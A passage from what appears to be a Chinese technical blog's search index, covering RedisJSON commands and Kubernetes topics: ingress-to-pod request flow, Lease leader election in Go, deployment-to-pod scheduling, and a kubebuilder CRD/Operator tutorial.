\"[{\\\"a\\\":\\\"foobaz\\\",\\\"nested\\\":{\\\"a\\\":\\\"hellobaz\\\"},\\\"nested2\\\":{\\\"a\\\":31}}]\" \u003e JSON.STRLEN doc $.a 1) \"6\" ","date":"2024-01-08","objectID":"/redis-stack-json/:4:5","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"针对 boolean 类型 JSON.TOGGLE:切换布尔值,把 false 与 true 对换 示例: \u003e JSON.SET doc $ '{\"bool\": true}' \"OK\" \u003e JSON.TOGGLE doc $.bool 1) \"0\" \u003e JSON.GET doc $ \"[{\\\"bool\\\":false}]\" \u003e JSON.TOGGLE doc $.bool 1) \"1\" \u003e JSON.GET doc $ \"[{\\\"bool\\\":true}]\" ","date":"2024-01-08","objectID":"/redis-stack-json/:4:6","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"调试 JSON.DEBUG JSON.DEBUG MEMORY:返回内存占用大小 示例: \u003e JSON.SET doc $ '{\"a\": 1, \"b\": 2, \"c\": {}}' \"OK\" \u003e JSON.DEBUG MEMORY doc (integer) 147 \u003e JSON.DEBUG MEMORY doc $.c 1) \"8\" ","date":"2024-01-08","objectID":"/redis-stack-json/:4:7","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"批量操作 JSON.MGET:批量 GET 多个 key 的值 JSON.MGET key [key ...] path 示例: \u003e JSON.SET doc1 $ '{\"a\":1, \"b\": 2, \"nested\": {\"a\": 3}, \"c\": null}' \"OK\" \u003e JSON.SET doc2 $ '{\"a\":4, \"b\": 5, \"nested\": {\"a\": 6}, \"c\": null}' \"OK\" \u003e JSON.MGET doc1 doc2 $..a 1) \"[1,3]\" 2) \"[4,6]\" JSON.MSET:批量 SET 设置数值,这个操作是原子的,这意味着批量操作要么全都生效,要么全都不生效 JSON.MSET key path value [key path value ...] 示例: \u003e JSON.MSET doc1 $ '{\"a\":1}' doc2 $ '{\"f\":{\"a\":2}}' doc3 $ '{\"f1\":{\"a\":0},\"f2\":{\"a\":0}}' \"OK\" \u003e JSON.MSET doc1 $ '{\"a\":2}' doc2 $.f.a '3' doc3 $ '{\"f1\":{\"a\":1},\"f2\":{\"a\":2}}' \"OK\" \u003e JSON.MGET doc1 doc2 doc3 $ 1) \"[{\\\"a\\\":2}]\" 2) \"[{\\\"f\\\":{\\\"a\\\":3}}]\" 3) \"[{\\\"f1\\\":{\\\"a\\\":1},\\\"f2\\\":{\\\"a\\\":2}}]\" ","date":"2024-01-08","objectID":"/redis-stack-json/:4:8","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"已弃用 JSON.RESP JSON.MUMMULTIBY ","date":"2024-01-08","objectID":"/redis-stack-json/:4:9","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Middleware"],"content":"总结 面对 JSON 数据格式的流行,Redis 也并未落后,通过 RedisJSON 模块很好地进行了支持。而基于 RedisJSON,Redis Stack 还能作为一个 Document database 文档数据库、一个全文搜索引擎、或者一个向量搜索引擎。 本文姑且介绍了 RedisJSON 的基本用法。关注我,等待我的后续文章进一步了解 Redis Stack 的其他功能。 参考资料: https://redis.io/docs/about/about-stack/ https://redis.io/docs/data-types/json/ https://redis.io/commands/?group=json ","date":"2024-01-08","objectID":"/redis-stack-json/:5:0","tags":["Redis"],"title":"Redis Stack 不只是缓存之 RedisJSON","uri":"/redis-stack-json/"},{"categories":["Kubernetes"],"content":"Kubernetes 外部 HTTP 请求到达 Pod 中的应用容器的全过程","date":"2023-12-30","objectID":"/http-flow-to-container/","tags":["Kubernetes"],"title":"Kubernetes 外部 HTTP 请求到达 Pod 容器的全过程","uri":"/http-flow-to-container/"},{"categories":["Kubernetes"],"content":"Kubernetes 集群外部的 HTTP/HTTPS 请求是如何达到 Pod 中的 container 的? ","date":"2023-12-30","objectID":"/http-flow-to-container/:0:0","tags":["Kubernetes"],"title":"Kubernetes 外部 HTTP 请求到达 Pod 容器的全过程","uri":"/http-flow-to-container/"},{"categories":["Kubernetes"],"content":"HTTP 请求流转过程概述 如上图所示,全过程大致为: 用户从 web/mobile/pc 等客户端发出 HTTP/HTTPS 请求。 由于应用服务通常是通过域名的形式对外暴露,所以请求将会先进行 DNS 域名解析,得到对应的公网 IP 地址。 公网 IP 地址通常会绑定一个 Load Balancer 负载均衡器,此时请求会进入此负载均衡器。 Load Balancer 负载均衡器可以是硬件,也可以是软件,它通常会保持稳定(固定的公网 IP 地址),因为如果切换 IP 地址会因为 DNS 缓存的原因导致服务某段时间内不可达。 Load Balancer 负载均衡器是一个重要的中间层,对外承接公网流量,对内进行流量的管理和转发。 Load Balancer 再将请求转发到 kubernetes 集群的某个流量入口点,通常是 ingress。 ingress 负责集群内部的路由转发,可以看成是集群内部的网关。 ingress 只是配置,具体进行流量转发的是 ingress-controller,后者有多种选择,比如 Nginx、HAProxy、Traefik、Kong 等等。 ingress 根据用户自定义的路由规则进一步转发到 service。 比如根据请求的 path 路径或 host 做转发。 service 根据 selector(匹配 label 标签)将请求转发到 pod。 service 有多种类型,集群内部最常用的类型就是 ClusterIP。 service 本质上也只是一种配置,这种配置最终会作用到 node 节点上的 kube-proxy 组件,后者会通过设置 iptables/ipvs 来完成实际的请求转发。 service 可能会对应多个 pod,但最终请求只会被随机转发到一个 pod 上。 pod 最后将请求发送给其中的 container 容器。 同一个 pod 内部可能有多个 container,但是多个容器不能共用同一个端口,因此这里会根据具体的端口号将请求发给对应的 container。 以上就是一种典型的集群外部 HTTP 请求如何达到 Pod 中的 container 的全过程。 需要注意的是,由于网络配置灵活多变,以上请求流转过程并不是唯一的方式,例如: 如果你使用的是云服务,那么可以通过使用 LoadBalancer 类型的 service 直接绑定一个云服务商提供的负载均衡器,然后再接 ingress 或者其它 service。 你也可以通过 NodePort 类型的 service 直接使用节点上的端口,通过这些节点自建负载均衡器。 如果你的服务特别简单,没啥内部流量需要管理的,这时不用 ingress 也是可以的。 ","date":"2023-12-30","objectID":"/http-flow-to-container/:1:0","tags":["Kubernetes"],"title":"Kubernetes 外部 HTTP 请求到达 Pod 容器的全过程","uri":"/http-flow-to-container/"},{"categories":["Kubernetes"],"content":"容器技术的底座 容器技术的底座有三样东西: Namespace(这里是指 Linux 系统内核的命名空间) Cgroups UnionFS 正是 Linux 内核的 namespace 实现了资源的隔离。因为每个 pod 有各自的 Linux namespace,所以不同的 pod 是资源隔离的。namespace 有多种,包括 PID、IPC、Network、Mount、Time 等等。其中 PID namespace 实现了进程的隔离,因此 pod 内可以有自己的 1 号进程。而 Network namespace 则让每个 pod 有了自己的网络。 Pod 有自己的网络,node 节点也有自己的网络,那么流量是如何从 node 节点到 pod 的呢? ","date":"2023-12-30","objectID":"/http-flow-to-container/:2:0","tags":["Kubernetes"],"title":"Kubernetes 外部 HTTP 请求到达 Pod 容器的全过程","uri":"/http-flow-to-container/"},{"categories":["Kubernetes"],"content":"HTTP 请求流转过程补充 每个 node 节点上都有: kubelet:节点的小管家。 kube-proxy:操作节点的 iptables/ipvs 。 plugins: CRI:容器运行时接口 CNI:容器网络接口 CSI(可选):容器存储接口 每个 node 节点有自己的 root namespace,其中也包括网络相关的 root netns,每个 pod 有自己的 pod netns,从 node 到 pod 则可以通过 veth pairs 的方式连通,流量也正是通过此通道进行的流转。而构建 veth pairs、设置 pod network namespace、为 pod 分配 IP 地址等等工作则正是 CNI 的任务。 至此,一个典型的 kubernetes 集群外部的 HTTP/HTTPS 请求如何达到 Pod 中的 container 的全过程就是这样了。 参考资料: https://kubernetes.io/docs/concepts/services-networking/ https://learnk8s.io/kubernetes-network-packets ","date":"2023-12-30","objectID":"/http-flow-to-container/:3:0","tags":["Kubernetes"],"title":"Kubernetes 外部 HTTP 请求到达 Pod 容器的全过程","uri":"/http-flow-to-container/"},{"categories":["Kubernetes"],"content":"Kubernetes Lease 及分布式选主","date":"2023-12-26","objectID":"/lease/","tags":["Kubernetes"],"title":"Kubernetes Lease 及分布式选主","uri":"/lease/"},{"categories":["Kubernetes"],"content":"分布式选主 在分布式系统中,应用服务常常会通过多个节点(或实例)的方式来保证高可用。然而在某些场景下,有些数据或者任务无法被并行操作,此时就需要由一个特定的节点来执行这些特殊的任务(或者进行协调及决策),这个特定的节点也就是领导者(Leader),而在多个节点中选择领导者的机制也就是分布式选主(Leader Election)。 如今诸多知名项目也都使用了分布式选主,例如: Etcd Kafka Elasticsearch Zookeeper 常用算法包括: Paxos:一种著名的分布式共识算法,原理和实现较为复杂(此算法基本就是共识理论的奠基之作,曾有人说:“世界上只有一种共识协议,就是 Paxos,其他所有共识算法都是 Paxos 的退化版本”)。 Raft:目前最广泛使用的分布式共识算法之一,Etcd 使用的就是 Raft,Elasticsearch 和 Kafka 在后来的版本中也都抛弃了早期的算法并转向了 Raft。 ZAB(Zookeeper Atomic Broadcast):Zookeeper 使用的一致性协议,也包括选主机制。 ","date":"2023-12-26","objectID":"/lease/:1:0","tags":["Kubernetes"],"title":"Kubernetes Lease 及分布式选主","uri":"/lease/"},{"categories":["Kubernetes"],"content":"Kubernetes Lease 在 Kubernetes 中,诸如 kube-scheduler 和 kube-controller-manager 等核心组件也需要使用分布式选主,因为其需要确保任一时刻只有一个调度器在做出调度决策,同一时间只有一个控制管理器在处理资源对象。 然而,除了核心组件,用户的应用服务很可能也有类似分布式选主的需求,为了满足这种通用需求,kubernetes 提供了 Lease(翻译为“租约”)这样一个特殊的资源对象。 如上图所示,在 k8s 中选主是通过争抢一个分布式锁(Lease)来实现的,抢到锁的实例成为 leader,为了确认自己持续存活,leader 需要不断的续签这个锁(Lease),一旦 leader 挂掉,则锁被释放,其他候选人便可以竞争成为新的 leader。 Lease 的结构也很简单: apiVersion: coordination.k8s.io/v1 kind: Lease metadata: # object spec: acquireTime: # 当前租约被获取的时间 holderIdentity: # 当前租约持有者的身份信息 leaseDurationSeconds: # 租约候选者需要等待才能强制获取它的持续时间 leaseTransitions: # 租约换了多少次持有者 renewTime: # 当前租约持有者最后一次更新租约的时间 Lease 本质上与其它资源并无区别,除了 Lease,其实也可以用 configmap 或者 endpoint 作为分布式锁,因为在底层都是 k8s 通过资源对象的 resourceVersion 字段进行 compare-and-swap,也就是通过这个字段实现的乐观锁。当然在实际使用中,建议还是用 Lease。 ","date":"2023-12-26","objectID":"/lease/:2:0","tags":["Kubernetes"],"title":"Kubernetes Lease 及分布式选主","uri":"/lease/"},{"categories":["Kubernetes"],"content":"使用示例 使用 Lease 进行分布式选主的示例如下: import ( \"context\" \"time\" \"k8s.io/client-go/kubernetes\" \"k8s.io/client-go/rest\" \"k8s.io/client-go/tools/leaderelection\" \"k8s.io/client-go/tools/leaderelection/resourcelock\" ) func main() { config, err := rest.InClusterConfig() if err != nil { panic(err.Error()) } clientset, err := kubernetes.NewForConfig(config) if err != nil { panic(err.Error()) } // 配置 Lease 参数 leaseLock := \u0026resourcelock.LeaseLock{ LeaseMeta: metav1.ObjectMeta{ Name: \"my-lease\", Namespace: \"default\", }, Client: clientset.CoordinationV1(), LockConfig: resourcelock.ResourceLockConfig{ Identity: \"my-identity\", }, } // 配置 Leader Election leaderElectionConfig := leaderelection.LeaderElectionConfig{ Lock: leaseLock, LeaseDuration: 15 * time.Second, RenewDeadline: 10 * time.Second, RetryPeriod: 2 * time.Second, Callbacks: leaderelection.LeaderCallbacks{ OnStartedLeading: func(ctx context.Context) { // 当前实例成为 Leader // 在这里执行 Leader 专属的逻辑 }, OnStoppedLeading: func() { // 当前实例失去 Leader 地位 // 可以在这里执行清理工作 }, OnNewLeader: func(identity string) { // 有新的 Leader 产生 } }, } leaderElector, err := leaderelection.NewLeaderElector(leaderElectionConfig) if err != nil { panic(err.Error()) } // 开始 Leader Election ctx := context.Background() leaderElector.Run(ctx) } 参考资料: https://kubernetes.io/docs/concepts/architecture/leases/ https://kubernetes.io/docs/reference/kubernetes-api/cluster-resources/lease-v1/ https://pkg.go.dev/k8s.io/client-go@v0.29.0/tools/leaderelection ","date":"2023-12-26","objectID":"/lease/:2:1","tags":["Kubernetes"],"title":"Kubernetes Lease 及分布式选主","uri":"/lease/"},{"categories":["Kubernetes"],"content":"Kubernetes 从提交 deployment 到 pod 运行的全过程","date":"2023-12-23","objectID":"/k8s-from-deploy-to-pod/","tags":["Kubernetes"],"title":"Kubernetes 从提交 deployment 到 pod 运行的全过程","uri":"/k8s-from-deploy-to-pod/"},{"categories":["Kubernetes"],"content":"当用户向 Kubernetes 提交了一个创建 deployment 的请求后,Kubernetes 从接收请求直至创建对应的 pod 运行这整个过程中都发生了什么呢? ","date":"2023-12-23","objectID":"/k8s-from-deploy-to-pod/:0:0","tags":["Kubernetes"],"title":"Kubernetes 从提交 deployment 到 pod 运行的全过程","uri":"/k8s-from-deploy-to-pod/"},{"categories":["Kubernetes"],"content":"kubernetes 架构简述 在搞清楚从 deployment 提交到 pod 运行整个过程之前,我们有先来看看 Kubernetes 的集群架构: 上图与下图相同: 如图所示,k8s 集群分为 control plane 控制平面和 node 节点。 control plane 控制平面(也称之为主节点)主要包含以下组件: kube-api-server: 顾名思义,负责处理所有 api,包括客户端以及集群内部组件的请求。 etcd: 分布式持久化存储、事件订阅通知。只有 kube-api-server 直接操作 etcd,其它所有组件都是与 kube-api-server 进行相互。 scheduler: 处理 pod 的调度,将 pod 绑定到具体的 node 节点。 controller manager: 控制器,处理各种资源对象。 cloud controller manager: 对接云服务商的控制器。 node 节点,专门部署用户的应用程序(与控制平面隔离,避免影响到 k8s 的核心组件),主要包含以下组件: kubelet: 管理节点上的 pod 以及状态检查和上报。 kube-proxy: 进行流量的路由转发(目前是通过操作节点的 iptables 或者 ipvs 实现)。 CRI: 容器运行时接口。 ","date":"2023-12-23","objectID":"/k8s-from-deploy-to-pod/:1:0","tags":["Kubernetes"],"title":"Kubernetes 从提交 deployment 到 pod 运行的全过程","uri":"/k8s-from-deploy-to-pod/"},{"categories":["Kubernetes"],"content":"从 Deployment 到 Pod 从 Deployment 到 Pod 的整个过程如下图所示: ","date":"2023-12-23","objectID":"/k8s-from-deploy-to-pod/:2:0","tags":["Kubernetes"],"title":"Kubernetes 从提交 deployment 到 pod 运行的全过程","uri":"/k8s-from-deploy-to-pod/"},{"categories":["Kubernetes"],"content":"1. 请求发送到 kube-api-server 请求发送到 kube-api-server,然后会进行认证、鉴权、变更、校验等一系列过程,最后将 deployment 的数据持久化存储至 etcd。 在这个过程我们可以通过 mutation admission 的 webhook 自主地对资源对象进行任意的变更,比如注入 sidecar 等等。 ","date":"2023-12-23","objectID":"/k8s-from-deploy-to-pod/:2:1","tags":["Kubernetes"],"title":"Kubernetes 从提交 deployment 到 pod 运行的全过程","uri":"/k8s-from-deploy-to-pod/"},{"categories":["Kubernetes"],"content":"2. controller manager 处理 controller manager 组件针对不同的资源对象有不同的处理部分。 针对 Deployment,由于其并不直接管理 Pod,而是 Deployment 管理 ReplicaSet,ReplicaSet 再管理 Pod: 因此其中涉及到 controller manager 中的两个部分: deployment controller replicaset controller (1) 先是 deployment controller 监听到 deployment 的创建事件,然后进行相关的处理,最后创建 replicaset。 (2) 然后 replicaset controller 监听到 replicaset 的创建事件,进行相关处理后,最后创建 pod。 ","date":"2023-12-23","objectID":"/k8s-from-deploy-to-pod/:2:2","tags":["Kubernetes"],"title":"Kubernetes 从提交 deployment 到 pod 运行的全过程","uri":"/k8s-from-deploy-to-pod/"},{"categories":["Kubernetes"],"content":"3. scheduler 调度 scheduler 接受到 pod 需要调度的事件后,进行一系列调度逻辑处理,最后选择一个合适的 node 节点,将 pod 绑定到这个节点上(所谓的节点调度在这里只是修改 pod 数据,对其中的 nodeName 进行赋值)。 具体的调度算法比较复杂,涉及强制性调度、亲和与反亲和、污点和容忍、以及硬件资源计算、优先级等等,本文不做展开。 ","date":"2023-12-23","objectID":"/k8s-from-deploy-to-pod/:2:3","tags":["Kubernetes"],"title":"Kubernetes 从提交 deployment 到 pod 运行的全过程","uri":"/k8s-from-deploy-to-pod/"},{"categories":["Kubernetes"],"content":"4. 节点 kubelet 处理 调度完成后,pod 被绑定的 node 节点上的 kubelet 同样通过 kube-api-server 会接受到相应的事件,然后 kubelet 会进行 pod 的创建。 在这个过程中 kubelet 会分别调用 CRI、CNI、CSI: CRI(Container Runtime Interface): 容器运行时接口,CRI 插件负责执行拉取镜像、创建、删除容器等操作。CRI 的几种常用插件: containerd CRI-O Docker Engine CNI(Container Network Interface): 容器网络接口,CNI 插件负责给 pod 分配 IP 地址,确保 pod 能够与集群内的其它 pod 进行通信。CNI 的几种常用插件: Cilium Calico CSI(Container Storage Interface): 容器存储接口,CSI 插件负责与外部存储提供者通信,执行卷的附加、挂载等操作。 所谓的接口其实只是定义了通信的规范或者标准(使用的是 grpc 协议),具体的实现则是交给了插件。 至此,Kubernetes 从创建 deployment 到 pod 运行的全过程就是这样了。 参考资料: https://kubernetes.io/docs/concepts/architecture/ https://kubernetes.io/docs/concepts/scheduling-eviction/ https://kubernetes.io/docs/setup/production-environment/container-runtimes/ https://kubernetes.io/docs/tasks/administer-cluster/network-policy-provider/ ","date":"2023-12-23","objectID":"/k8s-from-deploy-to-pod/:2:4","tags":["Kubernetes"],"title":"Kubernetes 从提交 deployment 到 pod 运行的全过程","uri":"/k8s-from-deploy-to-pod/"},{"categories":["Kubernetes"],"content":"Kubernetes CRD \u0026 Operator 简介","date":"2023-12-19","objectID":"/k8s-crd-operator/","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"Kubernetes CRD 在 kubernetes 中有一系列内置的资源,诸如:pod、deployment、configmap、service …… 等等,它们由 k8s 的内部组件管理。而除了这些内置资源之外,k8s 还提供了另外一种方式让用户可以随意地自定义资源,这就是 CRD (全称 CustomResourceDefinitions) 。 例如,我可以通过 CRD 去定义一个 mypod、myjob、myanything 等等资源,一旦注册成功,那么这些自定义资源便会享受与内置资源相同的待遇。具体而言就是: 我们可以像使用 kubectl 增删改查 deployment 一样去操作这些 CRD 自定义资源。 CRD 自定义资源的数据跟 pod 等内置资源一样会存储到 k8s 控制平面的 etcd 中。 需要注意的是,CRD 在不同的语境下有不同的含义,有时候可能只是指 k8s 中的 CustomResourceDefinitions 这一种特定的资源,有时候也可能是指用户通过 CRD 所创建出来的自定义资源。 狭义上的 CRD (全称 CustomResourceDefinitions) 是 k8s 中的一种特殊的内置资源,我们可以通过它去创建我们自定义的其它资源。例如,我们可以通过 CRD 去创建一个叫 CronTab 的资源: apiVersion: apiextensions.k8s.io/v1 kind: CustomResourceDefinition metadata: # 名称必须匹配 \u003cplural\u003e.\u003cgroup\u003e name: crontabs.stable.example.com spec: # group 名称,用于 REST API: /apis/\u003cgroup\u003e/\u003cversion\u003e group: stable.example.com versions: - name: v1 served: true storage: true schema: openAPIV3Schema: type: object properties: # 定义属性 spec: type: object properties: cronSpec: type: string image: type: string # 作用范围可以是 Namespaced 或者 Cluster scope: Namespaced names: # 复数名称,使用于 URL: /apis/\u003cgroup\u003e/\u003cversion\u003e/\u003cplural\u003e plural: crontabs # 单数名称,可用于 CLI singular: crontab # 驼峰单数,用于资源清单 kind: CronTab # 名字简写,可用于 CLI shortNames: - ct 一旦我们 apply 这个 yaml 文件,那么我们的自定义资源 CronTab 也就注册到 k8s 了。这个时候我们就可以任意操作这个自定义资源,比如 my-crontab.yaml: apiVersion: \"stable.example.com/v1\" kind: CronTab metadata: name: my-new-cron-object spec: cronSpec: \"* * * * */5\" image: my-awesome-cron-image 执行 kubectl apply -f my-crontab.yaml 就可以创建我们自定义的 CronTab,执行 kubectl get crontab 就可以查询到我们自定义的 CronTab 列表。 通过 CRD 自定义资源的优点是,我们无需操心自定义资源的数据存储,也无需再额外实现一个 http server 去对外暴露操作这些自定义资源的 API 接口,因为这些 k8s 都帮我们做好了,我们只需要像其它内置资源一样使用自定义资源即可。 但是!只有 CRD 往往是不够的,例如上文中我们执行 kubectl apply -f my-crontab.yaml 创建了一个 crontab 自定义资源,但是这个 crontab 不会有任何执行的内容(不会跑任何程序),而很多场景下我们是希望自定义资源能够执行点什么。这个时候我们就需要 Operator 了。 ","date":"2023-12-19","objectID":"/k8s-crd-operator/:1:0","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"Operator Operator 其实就是 custom resource controller(自定义资源的控制器),它干的事情就是监听自定义资源的变更,然后针对性地做一些操作。例如,监听到某个自定义资源被创建后,Operator 可以读取这个自定义资源的属性然后创建一个 pod 去运行具体的程序,并将这个 pod 绑定到自定义资源对象上。 那 Operator 以何种方式存在呢?其实它跟普通的服务一样,可以是 deployment,也可以是 statefuleSet。 至于常说的 Operator pattern 其实就是 CRD + custom controller 这种模式。 ","date":"2023-12-19","objectID":"/k8s-crd-operator/:2:0","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"Kubebuilder 我们在构建项目时常常希望有一个好用的框架,能够提供一系列工具帮助开发者更轻松地进行创建、测试和部署。而针对 CRD 和 Operator 的场景就有这么一个框架 Kubebuilder。 接下来我将会使用 Kubebuilder 创建一个小项目,其中会创建一个自定义资源 Foo ,并在 controller 中监听这个资源的变更并把它打印出来。 ","date":"2023-12-19","objectID":"/k8s-crd-operator/:3:0","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"1. 安装 # download kubebuilder and install locally. curl -L -o kubebuilder \"https://go.kubebuilder.io/dl/latest/$(go env GOOS)/$(go env GOARCH)\" chmod +x kubebuilder \u0026\u0026 mv kubebuilder /usr/local/bin/ ","date":"2023-12-19","objectID":"/k8s-crd-operator/:3:1","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"2. 创建一个测试目录 mkdir kubebuilder-test cd kubebuilder-test ","date":"2023-12-19","objectID":"/k8s-crd-operator/:3:2","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"3. 初始化项目 kubebuilder init --domain mytest.domain --repo mytest.domain/foo ","date":"2023-12-19","objectID":"/k8s-crd-operator/:3:3","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"4. 定义 CRD 假设我们想要定义一个如下格式的 CRD: apiVersion: \"mygroup.mytest.domain/v1\" kind: Foo metadata: name: xxx spec: image: image msg: message 那么我们需要创建一个 CRD(本质上也是创建一个 API ): kubebuilder create api --group mygroup --version v1 --kind Foo 执行之后输入 y 确认生成,然后 kubebuilder 会帮我们自动创建一些目录和文件,其中: api/v1/foo_types.go 文件中定义了这个 CRD(也是 API)。 internal/controllers/foo_controller.go 文件则是控制 CRD 的业务逻辑。 由于自动生成的文件只是一个基本框架,我们需要按照自己的需求进行相应的修改。 a. 在代码中修改 CRD 的结构 首先,修改 api/v1/foo_types.go 调整 CRD 的结构(注意不要删除 //+kubebuilder 这种注释): // FooSpec defines the desired state of Foo type FooSpec struct { Image string `json:\"image\"` Msg string `json:\"msg\"` } // FooStatus defines the observed state of Foo type FooStatus struct { PodName string `json:\"podName\"` } b. 通过命令自动生成 CRD yaml 执行 make manifests 命令之后,kubebuilder 就会在 config/crd/bases 目录下生成一个 mygroup.mytest.domain_foos.yaml 文件,这个文件就是我们定义 CRD 的 yaml 文件: --- apiVersion: apiextensions.k8s.io/v1 kind: CustomResourceDefinition metadata: annotations: controller-gen.kubebuilder.io/version: v0.13.0 name: foos.mygroup.mytest.domain spec: group: mygroup.mytest.domain names: kind: Foo listKind: FooList plural: foos singular: foo scope: Namespaced versions: - name: v1 schema: openAPIV3Schema: description: Foo is the Schema for the foos API properties: apiVersion: description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' type: string kind: description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' type: string metadata: type: object spec: description: FooSpec defines the desired state of Foo properties: image: type: string msg: type: string required: - image - msg type: object status: description: FooStatus defines the observed state of Foo properties: podName: type: string required: - podName type: object type: object served: true storage: true subresources: status: {} make manifests 指令执行的具体内容定义在了 Makefile 文件中: .PHONY: manifests manifests: controller-gen ## Generate WebhookConfiguration, ClusterRole and CustomResourceDefinition objects. $(CONTROLLER_GEN) rbac:roleName=manager-role crd webhook paths=\"./...\" output:crd:artifacts:config=config/crd/bases 从中可以看到其实 kubebuilder 使用了 controller-gen 工具去扫描代码中特定格式的注释(如 //+kubebuilder:...)进而生成的 CRD yaml 文件。 ","date":"2023-12-19","objectID":"/k8s-crd-operator/:3:4","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"5. 补充 controller 逻辑 假设我们要监听用户创建的自定义资源 Foo 然后把它的属性打印出来。 a. 修改 controller 补充业务逻辑 修改 internal/controllers/foo_controller.go 文件补充我们自己的业务逻辑,如下: func (r *FooReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) { l := log.FromContext(ctx) // 补充业务逻辑 foo := \u0026mygroupv1.Foo{} if err := r.Get(ctx, req.NamespacedName, foo); err != nil { l.Error(err, \"unable to fetch Foo\") return ctrl.Result{}, client.IgnoreNotFound(err) } // 打印 Foo 属性 l.Info(\"Received Foo\", \"Image\", foo.Spec.Image, \"Msg\", foo.Spec.Msg) return ctrl.Result{}, nil } // SetupWithManager sets up the controller with the Manager. func (r *FooReconciler) SetupWithManager(mgr ctrl.Manager) error { return ctrl.NewControllerManagedBy(mgr). For(\u0026mygroupv1.Foo{}). Complete(r) } b. 进行测试 注意:测试需要有本地或远程的 k8s 集群环境,其将会默认使用跟当前 kubectl 一致的环境。 执行 make install 注册 CRD ,从 Makefile 中可以看到其实际执行了如下指令: .PHONY: install install: manifests kustomize ## Install CRDs into the K8s cluster specified in ~/.kube/config. $(KUSTOMIZE) build config/crd | $(KUBECTL) apply -f - 执行 make run 运行 controller,从 Makefile 中可以看到其实际执行了如下指令: .PHONY: run run: manifests generate fmt vet ## Run a controller from your host. go run ./cmd/main.go 然后可以看到如下输出: ... go fmt ./... go vet ./... go run ./cmd/main.go 2023-12-19T15:14:18+08:00 INFO setup starting manager 2023-12-19T15:14:18+08:00 INFO controller-runtime.metrics Starting metrics server 2023-12-19T15:14:18+08:00 INFO starting server {\"kind\": \"health probe\", \"addr\": \"[::]:8081\"} 2023-12-19T15:14:18+08:00 INFO controller-runtime.metrics Serving metrics server {\"bindAddress\": \":8080\", \"secure\": false} 2023-12-19T15:14:18+08:00 INFO Starting EventSource {\"controller\": \"foo\", \"controllerGroup\": \"mygroup.mytest.domain\", \"controllerKind\": \"Foo\", \"source\": \"kind source: *v1.Foo\"} 2023-12-19T15:14:18+08:00 INFO Starting Controller {\"controller\": \"foo\", \"controllerGroup\": \"mygroup.mytest.domain\", \"controllerKind\": \"Foo\"} 2023-12-19T15:14:19+08:00 INFO Starting workers {\"controller\": \"foo\", \"controllerGroup\": \"mygroup.mytest.domain\", \"controllerKind\": \"Foo\", \"worker count\": 1} 我们提交一个 foo.yaml 试试: apiVersion: \"mygroup.mytest.domain/v1\" kind: Foo metadata: name: test-foo spec: image: test-image msg: test-message 执行 kubectl apply -f foo.yaml 之后我们就会在 controller 的输出中看到 foo 被打印了出来: 2023-12-19T15:16:00+08:00 INFO Received Foo {\"controller\": \"foo\", \"controllerGroup\": \"mygroup.mytest.domain\", \"controllerKind\": \"Foo\", \"Foo\": {\"name\":\"test-foo\",\"namespace\":\"aries\"}, \"namespace\": \"aries\", \"name\": \"test-foo\", \"reconcileID\": \"8dfd629e-3081-4d40-8fc6-bcc3e81bbb39\", \"Image\": \"test-image\", \"Msg\": \"test-message\"} 这就是使用 kubebuilder 的一个简单示例。 ","date":"2023-12-19","objectID":"/k8s-crd-operator/:3:5","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 简介","uri":"/k8s-crd-operator/"},{"categories":["Kubernetes"],"content":"总结 Kubernetes 的 CRD 和 Operator 机制为用户提供了强大的扩展性。CRD 允许用户自定义资源,而 Operators 则可以管理这些资源。正是这种扩展机制为 Kubernetes 生态系统提供了极大的灵活性和可塑性,使得它可以更广泛的应用于各种场景中。 参考资料: https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/ https://kubernetes.io/docs/concepts/extend-kubernetes/operator/ https://kubernetes.io/docs/tasks/extend-kubernetes/custom-resources/custom-resource-definitions/ https://book.kubebuilder.io/introduction ","date":"2023-12-19","objectID":"/k8s-crd-operator/:4:0","tags":["Kubernetes","Golang"],"title":"Kubernetes CRD \u0026 Operator 